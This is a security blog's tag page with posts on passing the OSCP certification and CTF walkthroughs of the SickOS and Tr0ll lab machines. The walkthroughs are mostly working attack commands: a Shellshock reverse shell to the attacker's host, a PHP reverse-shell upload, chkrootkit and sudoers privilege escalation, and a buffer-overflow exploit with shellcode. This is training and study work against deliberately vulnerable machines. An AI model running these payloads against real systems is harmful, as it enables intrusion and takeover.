tuonilabs
Cyber security write-ups, exploits, and more

Tag: oscp labs

Officially OSCP Certified

Today I received the wonderful news that I passed the Offensive Security Certified Professional (OSCP) examination and I am now an OSCP. It was definitely the highlight of the day.

The examination consisted of a 24-hour limited to root/system five different machines. After this, you had to submit a penetration test report, and optionally, a lab and course report.

The labs consisted of over 50 machines and various subnets, and came along with the Penetration Testing with Kali Linux (PWK) course and one exam attempt.

I ended up owning 32 machines in the labs and gaining access to the subnets. Although I paid for the 90 days option, I was able to complete everything within 60 days. Having said that, I still recommend the 90 days option as a precaution.

My plan for the exam was the same as for the labs, which you can find here.

The battle plan was as follows:

- Write the report as I go along
- Pick the low hanging fruit first
- Take a break whenever I feel a machine is “too hard”

- Identify the attack vectors and determine which is best, before compromising the system; the best being a balance between reliability, speed, and efficiency
- Have fun; take a break when things don't feel very fun anymore

This battle plan worked perfectly for me for both the labs and the exam. With regards to the scripts I wrote, you can find some of them scattered throughout my Github page.

I wrote many little (but very useful) intelligence gathering scripts and many exploit ports to Python. In the Github you will find the intel gathering scripts along with other goodies, though not the particular exploit scripts.

The journey was extremely fun and very rewarding. As many others have stated, one learns the value of proper enumeration/intelligence gathering. A great additional for me was learning about KeepNote, which is a great EverNote-like software available in Kali Linux. Thanks to journey not only did I learn a lot in the technical realm, but also in the report-writing realm. Expect my future write-ups to include proper explanations and screenshots.

I am now officially OSCP certified, and officially looking for penetration testing jobs and other offensive security positions. If you feel you can help me land a job, feel free to reach out! The beer's on me.

I tried harder.

April 20, 2017 / Exploits, General, oscp, Uncategorized / C programming, cyber security, cyber security certifications, debian, Exploits, hack, hacking, information security, information security certifications, infosec, internet, javascript, linux, linux security, metasploit, netsec, network exploitation, network security, network security certifications, oscp, oscp certified, oscp exam, oscp labs, oscp preparation, oscp review, penetration testing, penetration testing with kali linux, php, phptax exploit, programming, python, reverse engineering, technology, vulnerability, windows security / 3 Comments

It has been nine days since I started the OSCP labs.

I have been having a ton of fun, and have compromised 21 machines so far.

I have been following the battle plan I established when I started the labs, and it was been working beautifully. So that being said, I recommend others considering taking the OSCP to follow my strategy. It has allowed me to have a lot of fun, minimize stress, and learn a ton.

Before starting the OSCP journey, I used to go into CTFs and war games and try out the most common attack vectors (which isn't such a bad tactic) and just kept on attacking. Now, I have learned the value of proper enumeration and understanding the underlying services and systems. If before my weapon of choice was the machine gun, now it is the sniper rifle. Of course, both have their uses.

Onwards and upwards.

March 18, 2017 / General, oscp / backdoor, cyber security, cyber security certifications, debian, debugging, exploit, Exploits, file transfer, hack, hacking, information security, information security certifications, infosec, internet, javascript, linux, linux security, metasploit, netsec, network exploitation, network security, network security certifications, offensive security, offensive security certified professional, oscp, oscp exam, oscp labs, oscp preparation, penetration testing, penetration testing with kali linux, php, poc, preparation for oscp, programming, proof of concept, python, reverse engineering, technology, try harder, vulnerabilities, vulnerability, windows security / 1 Comment

OSCP: Done with the course, Unto the Labs

Two days ago, I completed the PWK course along with the proper reporting of the challenges. The course was a nice introduction to what it takes to perform a penetration test, and it served as a good base to build on with the experience in the labs.

I started the OSCP labs yesterday. I have put in around four hours so far, and I have been able to root three machines already. I am close to rooting another two, having already compromised them, and I plan on "dealing the killing blow" later today. I actually started off by performing a network-wide intelligence-gathering effort. This expedites my attacks going forward, as I have a good information base with which to proceed.

My plan going into the labs is as follows:

- Write the report as I go along
- Pick the low hanging fruit first
- Take a break whenever I feel a machine is "too hard"
- Avoid using Metasploit
- Build/execute attack tools/exploits that I can reuse
- Identify the attack vectors and determine which is best, before compromising the system; the best being a balance between reliability, speed, and efficiency
- Have fun; take a break when things don't feel very fun anymore

I will keep you updated on my progress.

March 10, 2017 / Binary Exploitation, Exploits, General, Programming Challenges, Uncategorized, Web Exploitation / backdoor, cyber security, cyber security certifications, debian, enumeration, exploit, exploit database, exploit-db, Exploits, file transfer, hack, hacking, information security, information security certifications, infosec, intelligence gathering, internet, javascript, js, kali linux, linux, linux exploit, linux security, linux vulnerability, metasploit, network exploitation, network security, network security certifications, offensive security, offensive security certified professional, oscp, oscp labs, penetration testing, penetration testing with kali linux, pentest, php, poc, programming, proof of concept, pwk, python, reverse engineering, rooting machines, system exploitation, technology, vulnerabilities, vulnerability, vulnerable applications, vulnerable labs, vulnerable machines, vulnerable services, web app hacking, web app security, web application hacking, web application security, Web Exploitation, web hacking, web security, web vulnerabilities, windows exploit, windows security, windows vulnerabilities / 3 Comments

OSCP: 80% Done with the PWK Course

Here are my thoughts so far:

- While I already knew everything that I've covered so far, the reporting process has made me gain a deeper understanding of the techniques I use – which is a great plus.
- Automation is awesome – I already knew this, but I have written scripts to take care of many enumeration tasks and attacks that are necessary yet repetitive.
- I have become more proficient at file transfers that don't get tripped by Anti Viruses and firewalls.
- I have become more proficient at web application attack techniques and processes – such as leveraging local file inclusion vulnerabilities, code execution, uploading files and getting a shell.
- I have written some very handy privilege escalation shell-related scripts thanks to being encouraged to look for more ways to exploit the systems.
- I have been able to exercise my Powershell skills in order to compromise systems – which are a set of very handy skills to have.

I will very likely start attacking the lab machines next week, and I'm extremely excited about it.

Side-Notes:

- I have uploaded some of my "everyday" Python scripts to my Github account. Check them out. The recent additions include: key loggers, screen grabbers, format conversion scripts, and more.
- I encourage everyone to follow me on Twitter. I constantly post interest research papers and PoCs which you might be interested in.

Until next time.

March 3, 2017 / General, oscp / backdoor, debian, debugging, exploit, Exploits, file transfer, github,

preparation for oscp, privilege escalation, programming, proof of concept, python, reverse engineering, technology, vulnerabilities, vulnerability, web app hacking, web app security, web application hacking, web application security, Web Exploitation, web hacking, web security, web vulnerabilities, windows exploit, windows security, windows vulnerabilities / 1 Comment

OSCP: Preparation for the OSCP & My Experience So Far

I recently started the Offensive Security Certified Professional (OSCP) labs.

The OSCP certification examination has students undergo a 24-hour exam, where they must conduct a penetration test or security assessment of an organization. The ultimate goal is for students to compromise the entire network and write a penetration test report afterwards, where they demonstrate how they compromised the network.

The certification comes with a course manual, as well as access to a virtual network where the students can put their skills to practice. The goal for these labs is the same as for the examination, to compromise the entire network.

I registered for the 90-days package and started the course/labs last Saturday. I am currently three days in and about half way through the course. While I won't be able to detail what the course or labs are comprised of, I will post future updates on where I am so far (how many machines I have compromised), as well as any tips I can share for how to prepare.

Preparation for the OSCP Labs

Before registering for the labs, I practiced with several vulnerable boxes that were touted online as good simulators of the actual labs experience.

The vulnerable machines I practiced with were:

- Troll (1-2)
- SickOS (1.1-1.2)

The links above are write-ups I published on how I compromised the machines. The blog posts not only contain walkthroughs, but also links to download the machines so that you may try them yourself.

Aside from the machines mentioned above, I also participated in various Capture the Flags, as well as completed several wargames, some of which you can find write-ups for here in my blog.

The Experience So Far

As I mentioned before, I am currently half way through the course.

While I already knew how to do the things that have been covered so far, I have learned to appreciate the importance of taking screenshots to document one's findings. I also began using KeepNote, which is an awesome tool similar to EverNote. The great thing about KeepNote is that not only can you create notebooks, folders, and pages, but you can also take screenshots right from the program.

While I can't comment on the exact contents of the course manual, I can say that it provides a solid foundation from with which to build on.

I highly recommend that those considering registering for the labs take the 60-days or 90-days option. There is a lot of reporting to be done if one wants to go for maximum points, so ample time is necessary.

Stay tuned.

February 22, 2017 / General, oscp / application security, cyber security, cyber security

oscp, programming, reverse engineering, security test, sickos, technology, tr0ll, vulnerability assessment, vulnerable labs, vulnerable machines, wargames, web application security / 1 Comment

SickOS Write-Up

What follows is a write-up of two vulnerable machines, SickOS 1.1 and SickOS 1.2.

SickOS was inspired by the OSCP labs.

The goal is simple: compromise the system and get root.

[*] STATUS: COMPLETED

SickOS 1.1 Write-Up

1) nmap -sS -sV -Pn -T4 192.168.189.0/24
'''
Note the following ports and services are up and running:
ssh OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
3128/tcp open http-proxy Squid http proxy 3.1.19
8080/tcp closed http-proxy

Time to do some research.
'''

2) Start Metasploit -> search squid
3) use auxiliary/scanner/http/squid_pivot_scanning -> show options
4) set RANGE 192.168.189.208 -> set RHOSTS 192.168.189.208 -> set RPORT 3128
5) exploit
We can navigate to port 80 under a proxy using port 3128

Checking for vulnerabilities; the shellshock vulnerability might be our way in

+ OSVDB-112004: /cgi-bin/status: Site appears vulnerable to the ‘shellshock’ vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271)
”’

7) Open Burp Proxy with Intercept On
8) In Burp: User options -> Upstream Proxy Servers
Destination host: 192.168.189.208
Proxy host: 192.168.189.208
Proxy port: 3128

9) Browse to: 192.168.189.208/cgi-bin/status
10) Modify User-Agent with: () { :;}; /bin/bash -i >& /dev/tcp/192.168.189.130/4430>&1
Wait a bit, it takes a while

11) cd /var/www
12) file wolfcms -> cd wolfcms -> ls -> cat config.php
”’
Notice the MySQL credentials:
define(‘DB_DSN’, ‘mysql:dbname=wolf;host=localhost;port=3306’);
define(‘DB_USER’, ‘root’);
define(‘DB_PASS’, ‘john@123’);
define(‘TABLE_PREFIX’, ”);
”’

13) su sickos
We get an error: su: must be run from a terminal

14) echo “import pty; pty.spawn(‘/bin/bash’)” > /tmp/asdf.py
15) python /tmp/asdf.py
16) su sickos -> password: john@123
17) sudo -s -> password: john@123
18) cd /root

Flag: a0216ea4d51874464078c618298b1367
End-Notes:

Initially I had logged into the wolf cms service with admin:admin, however, it was taking too long to load pages, so I decided to go another way. That might be another method to compromise the system.

SickOS 1.2 Write-Up

1) nmap -sS -sV -Pn -T4 192.168.189.0/24
”’
Note the following ports and services are up and running:
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http lighttpd 1.4.28

Time to get to work.
”’

2) nikto -h 192.168.189.218
3) wfuzz –hc 404 -c -z file,/usr/share/wfuzz/wordlist/general/big.txt http://192.168.189.218/FUZZ
“test” and “~” return results

4) Browse to: http://192.168.189.218/test/
5) Start Burp Proxy with Intercept On
6) Refresh the page -> Change the GET request to OPTIONS -> Right-click -> Do Intercept -> Response to this request
Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK

7) Search for: php reverse shell code
8) wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-

9) gedit php-reverse-shell.php
Adjust IP and port accordingly

10) nc -nlvp 443
11) curl –upload-file php-reverse-shell.php -v -url http://192.168.189.218/test/php-reverse-shell.php -0 –http1.0

12) Refresh the page and click on the file we just uploaded
13) ps aux | grep root
Checking which services are running as root
14) ls -al /etc/cron*
Checking which jobs are scheduled

15) Search for: chkrootkit vulnerability
16) Read: https://www.exploit-db.com/exploits/33899/
”’
Steps to reproduce:

– Put an executable file named ‘update’ with non-root owner in /tmp (not mounted noexec, obviously)
– Run chkrootkit (as uid 0)

Result: The file /tmp/update will be executed as root, thus effectively rooting your box, if malicious content is placed inside the file.
”’

17) python -c ‘import pty ; pty.spawn(“/bin/bash”)’
Getting a proper shell

Method A: To get root (slow)
18) echo ‘chmod 777 /etc/sudoers && echo “www-data ALL=NOPASSWD: ALL” >> /etc/sudoers && chmod 440 /etc/sudoers’ > /tmp/update
Giving ourselves sudo power
In theory this should work, but it was taking too long, so I went with Method B
Method B: To get root (fast)

```
int main(void)
{
setgid(0);
setuid(0);
execl("/bin/sh", "sh", 0);
}
EOF
```

20) gcc -o root root.c
Now we have to make 'update' interact with this executable

```
21) cat << EOF > update
#!/bin/bash
chown root /tmp/root
chgrp root /tmp/root
chmod u+s /tmp/root
EOF
```

22) chmod +x update
23) ls -al
We're ready to go
24) ./root
25) whoami
We got root
26) cd /root
27) ls
28) cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt

Flag: 7d03aaa2bf93d80040f3f22ec6ad9d5a
End-Notes:
Very cool box. Note that for the chkrootkit exploit you could have also used Metasploit.

This was the last box I had as training for the OSCP labs. I first completed Kioptrix (1-5), then Troll (1-2), and finally the two sickOS boxes. I'm signing up for the

February 7, 2017 / Capture the Flag, Exploits / burp proxy, burp suite, Exploits, hack, hacking, information security, infosec, internet, linux, linux security, metasploit, mysql vulnerability, network security, nikto, nmap, oscp labs, oscp preparation, php, php reverse shellcode, reverse shell, shellshock exploit, shellshock vulnerability, sickos, sql injection, sql vulnerability, sqli, technology, vulnerabilities, vulnerability, vulnerable applications, vulnerable machines, web app hacking, web app security, web application hacking, web application security, Web Exploitation, web hacking, web security, web vulnerabilities, wfuzz, write-ups / 2 Comments

Tr0ll Write-Up

What follows is a write-up of two vulnerable machines, Troll 1 and Troll 2.

Tr0ll was inspired by the constant trolling of the machines within the OSCP labs.

The goal is simple, gain root and get Proof.txt from the /root directory.

[*] STATUS: COMPLETED

Tr0ll 1 Write-Up

1) nmap -sS -sV -Pn -T4 192.168.189.0/24
”’
Note the following ports and services are up and running:
ftp vsftpd 3.0.2
ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
http Apache httpd 2.4.7 ((Ubuntu))

”’

2) nikto -h 192.168.189.197
It found a ‘/secret/’ directory mentioned in robots.txt which might be

Got trolled. Nice one.
Let's try attacking through ftp

4) ftp 192.168.189.197 -> anonymous:anonymous
We're in
5) ls -> get lol.pcap -> exit
6) strings lol.pcap
Note: you almost found the sup3rs3cr3tdirlol 😛
7) Browse to: http://192.168.189.197/sup3rs3cr3tdirlol/
8) Download the binary
9) strings roflmao
Note: Find address 0x0856BF to proceed
10) Browse to: http://192.168.189.197/0x0856BF/
11) Click on 'good_luck' -> which_one_lol.txt
12) wget http://192.168.189.197/0x0856BF/good_luck/which_one_lol.txt
12) Click on 'this_folder_contains_the_password/' -> Pass.txt
Note: Either 'Pass.txt' or its contents 'Good_job_:)' could be the password
13) medusa -U which_one_lol.txt -p Pass.txt -h 192.168.189.197 -M ssh
We found our way in
14) ssh overflow@192.168.189.197 -> Pass: Pass.txt
We're in
15) cat root/Proof.txt
Permission denied, we're going to have to do privilege escalation
16) find / -perm -o+w
Searching for world writable files
That /lib/log/cleaner.py file near the end looks interesting
17) vi /lib/log/cleaner.py
Modify the try:
os.system('usermod -aG sudo overflow')

Initially the modification didn't seem to work, but by the third log on
(it kept kicking us out) we finally became a sudoer
18) id
Became a sudoer
19) sudo ls /root

Flag: 702a8c18d29c6f3ca0d99ef5712bfbdc

End-Notes:
Pretty funny box, though slightly annoying when it kept logging us out. Fun overall.

Troll 2 Write-Up

1) nmap -sS -sV -Pn -T4 192.168.189.0/24
”’
Note the following ports and services are up and running:
ftp vsftpd 2.0.8 or later
ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
http Apache httpd 2.2.22 ((Ubuntu))

Also notice that there were two network adapters. Perhaps some chaining?

”’

2) Browse to: 192.168.189.204
3) nikto -h 192.168.189.204
”’
+ Uncommon header ‘tcn’ found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15.

”’

4) wfuzz –hc 404 -c -z file,/usr/share/wfuzz/wordlist/general/big.txt http://192.168.189.204/FUZZ
Fuzzing for directories – only index came up

6) wfuzz –hc 404 -c -z file,/root/Documents/wargames/troll/list.txt http://192.168.189.204/FUZZ

”’

Out of all the URLs only the following seem to work:
http://192.168.189.204/noob/
http://192.168.189.204/keep_trying/
http://192.168.189.204/dont_bother/
http://192.168.189.204/ok_this_is_it/

The filename of the images is: cat_the_troll
”’

7) Download all the images
8) tail -n 1 cat_the_troll.jpg cat_the_troll.jpg.1 cat_the_troll.jpg.2 cat_the_troll.jpg.3
Notice on the third image (dont_bother) we get:
Look Deep within y0ur_self for the answer

9) Browse to: http://192.168.189.204/y0ur_self/
10) wget http://192.168.189.204/y0ur_self/answer.txt
11) cat answer.txt | base64 -d > the_answer.txt
12) gedit the_answer.txt
It’s a bunch of repeated words
13) uniq -u the_answer.txt > answerz.txt
14) gedit answerz.txt
Notice the following string: ItCantReallyBeThisEasyRightLOL
After trying it on the web app, ftp, and ssh, I decided to move on
15) ftp 192.168.189.204 -> Troll:Troll
It was this easy

16) ls -> get lmao.zip -> exit
17) unzip lmao.zip
It’s password encrypted
The password is: ItCantReallyBeThisEasyRightLOL

18) file noob
noob: PEM RSA private key
This might very well be to log in via ssh

19) ssh noob@192.168.189.204 -i noob
It prints out "TRY HARDER LOL!" and closes the connection
Looks like it's forcing this command (echo) to be run once we log in

20) Search for 'ssh exploit'
21) Read: http://unix.stackexchange.com/questions/157477/how-can-shellshock-be-exploited-over-ssh
We can use the shellshock exploit to run other commands

22) ssh noob@192.168.189.204 -i noob '() { :;}; /bin/bash'
23) id
We're in
24) pwd -> cd ../ -> ls -> ls tr0ll
There's a lmao.zip
25) cd / -> ls -> ls nothing_to_see_here -> ls
nothing_to_see_here/choose_wisely
26) cd nothing_to_see_here/choose_wisely
27) ls door1 -> ls door2 -> ls door3
28) file door1/r00t -> file door2/r00t -> file door3/r00t
'''
After running all three files, we get the following:
– door1 r00t lets us input data
– door2 prints:
Good job, stand by, executing root shell...
BUHAHAHA NOOB!

– door3 r00t prints: 2 MINUTE HARD MODE LOL, and then bricks the system

Let's go with door1. Binary exploitation?
'''

31) run $(python -c ‘print “A” * 500’)
We get a segmentation fault
32) run $(python -c ‘print “A” * 300’)
33) run $(python -c ‘print “A” * 200’)
34) run $(python -c ‘print “A” * 250’)
35) run $(python -c ‘print “A” * 270’)
36) run $(python -c ‘print “A” * 268 + “B” * 4’)
We control EIP

37) disas main
38) br *main+97
Setting a breakpoint at leave
39) run $(python -c ‘print “A” * 268 + “B” * 4′)
40) x/100x $esp
”’
Notice where our A’s start
We can now load and run our shellcode

Let’s use execve /bin/sh shellcode I wrote, which is 25 bytes in size
”’

41) run $(python -c ‘print “A” * 268 + “\x80\xfb\xff\xbf” + “\x90” * 20 + “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80″‘)
Confirming it works

42) ./r00t $(python -c ‘print “A” * 268 + “\x80\xfb\xff\xbf” + “\x90” * 20 + “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80″‘)

43) whoami
44) cat /root/Proof.txt
Got the flag

Flag: a70254f0258dcc00202c72aab2c8b1e4

End-Notes:
Fun box!

January 27, 2017 / Binary Exploitation, Capture the Flag, General, Web Exploitation / apache vulnerability, Binary Exploitation, buffer overflow, cyber security, debugging, exploit, Exploits, fuzzing, hack, hacking, http, information security, infosec, internet, linux, metasploit, netsec, network security, nikto, nmap, oscp, oscp labs, oscp preparation, php, shellshock exploit, shellshock vulnerability, technology, tr0ll, tr0ll 1, tr0ll 1 write-up, tr0ll 2, tr0ll 2 write-up, vulnerabilities, vulnerability, vulnerability assessment, vulnerable applications, vulnerable machines, vulnerable services, war games, wargame write-up, web vulnerabilities, write-ups / 2 Comments

tuonilabs / Ⓦ